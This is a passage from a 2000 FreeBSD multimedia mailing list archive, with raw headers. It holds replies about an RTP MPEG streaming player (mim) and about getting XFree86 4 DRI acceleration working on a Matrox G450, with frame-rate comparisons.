0A4D837B4C5 for ; Fri, 24 Nov 2000 15:29:11 -0800 (PST) Received: (from kj@localhost) by gromit.eng.eircom.net (8.9.3/8.9.1) id XAA66080 for multimedia@FreeBSD.ORG; Fri, 24 Nov 2000 23:29:09 GMT (envelope-from kj) Date: Fri, 24 Nov 2000 23:29:04 +0000 From: Karl Jeacle To: multimedia@FreeBSD.ORG Subject: Re: MPEG and RTTP etc... Message-ID: <20001124232904.A66072@eircom.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from uzs106@ibm.rhrz.uni-bonn.de on Fri, Nov 24, 2000 at 02:33:43PM +0100 X-NCC-RegID: ie.telecom Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri 24 Nov 00, 14:33:43 +0100, Heiko Recktenwald wrote: > Hi gang, is there any player for MPEG Video, that understands one of the > "modern streaming protocols" ? QuickTime player for Macs will do, but how You could take a look at mim, http://videolab.uoregon.edu/mim/ which uses mtv and mpg123 to display RTP encoded MPEG-1 streams via multicast. Karl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Fri Nov 24 16:45:18 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from grok.example.net (cr479972-a.rct1.bc.wave.home.com [24.113.37.168]) by hub.freebsd.org (Postfix) with ESMTP id C5EB737B479 for ; Fri, 24 Nov 2000 16:45:16 -0800 (PST) Received: by grok.example.net (Postfix, from userid 1000) id 4B1CE212E29; Fri, 24 Nov 2000 16:45:16 -0800 (PST) Date: Fri, 24 Nov 2000 16:45:16 -0800 From: Steve Reid To: Stephen Hocking Cc: freebsd-multimedia@FreeBSD.ORG Subject: Re: XF86-4, Linux binaries, DRI? Message-ID: <20001124164516.A396@grok> References: <200011230505.eAN553G15445@bloop.craftncomp.com> <20001124024742.A355@grok> <20001124042124.A367@grok> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <20001124042124.A367@grok>; from Steve Reid on Fri, Nov 24, 2000 at 04:21:24AM -0800 Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Nov 24, 2000 at 04:21:24AM -0800, Steve Reid wrote: > I think I'm close... > libGL error: MGA DRI driver expected DRM driver version 2.0.x but got > version 1.0.0 Success! The "expected DRM driver version..." bit was apparently caused by the linux X modules from the .deb I was using being out of sync with everything. Grabbed a linux XF86 4.0.1 "Xmod.tgz" direct from xfree86.org and extracted it and it worked like a charm. The result is actually slightly _slower_ than the G200 w/ XF86 3.3.5 and Utah-GLX. On the "fastest" setting timedemo demo001, I am getting 43 fps with the new G450/DRI as compared to 46 fps with the old G200/Utah. However, with the G450 I can go up to 640x480 and increased texture detail with _no_ loss in fps, and do 800x600 with only a few frames lost, thanks to the higher video memory bandwidth. This makes it much nicer to look at. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message From owner-freebsd-multimedia Sat Nov 25 10: 9:31 2000 Delivered-To: freebsd-multimedia@freebsd.org Received: from solaris.matti.ee (solaris.matti.ee [194.126.98.135]) by hub.freebsd.org (Postfix) with ESMTP id 2518137B479 for ; Sat, 25 Nov 2000 10:09:29 -0800 (PST) Received: from myhakas.matti.ee (myhakas.matti.ee [194.126.114.87]) by solaris.matti.ee (Postfix) with ESMTP id CF7402CE3E; Sat, 25 Nov 2000 20:09:12 +0200 (EET) Received: (from vallo@localhost) by myhakas.matti.ee (8.11.1/8.11.1) id eAPI8j108494; Sat, 25 Nov 2000 20:08:45 +0200 (EET) (envelope-from vallo) Date: Sat, 25 Nov 2000 20:08:45 +0200 From: Vallo Kallaste To: Steve Reid Cc: Stephen Hocking , freebsd-multimedia@FreeBSD.ORG Subject: Re: XF86-4, Linux binaries, DRI? Message-ID: <20001125200845.A8256@myhakas.matti.ee> Reply-To: vallo@matti.ee References: <200011230505.eAN553G15445@bloop.craftncomp.com> <20001124024742.A355@grok> <20001124042124.A367@grok> <20001124164516.A396@grok> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.11i In-Reply-To: <20001124164516.A396@grok>; from sreid@sea-to-sky.net on Fri, Nov 24, 2000 at 04:45:16PM -0800 Sender: owner-freebsd-multimedia@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Nov 24, 2000 at 04:45:16PM -0800, Steve Reid wrote: > Success! The "expected DRM driver version..." bit was apparently caused > by the linux X modules from the .deb I was using being out of sync with > everything. Grabbed a linux XF86 4.0.1 "Xmod.tgz" direct from > xfree86.org and extracted it and it worked like a charm. Can we have a writeup? :-) I'm monitoring the -multimedia for long time in hope somebody writes up detailed instructions. Don't have time to hack around DRI myself :( -- Vallo Kallaste vallo@matti.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-multimedia" in the body of the message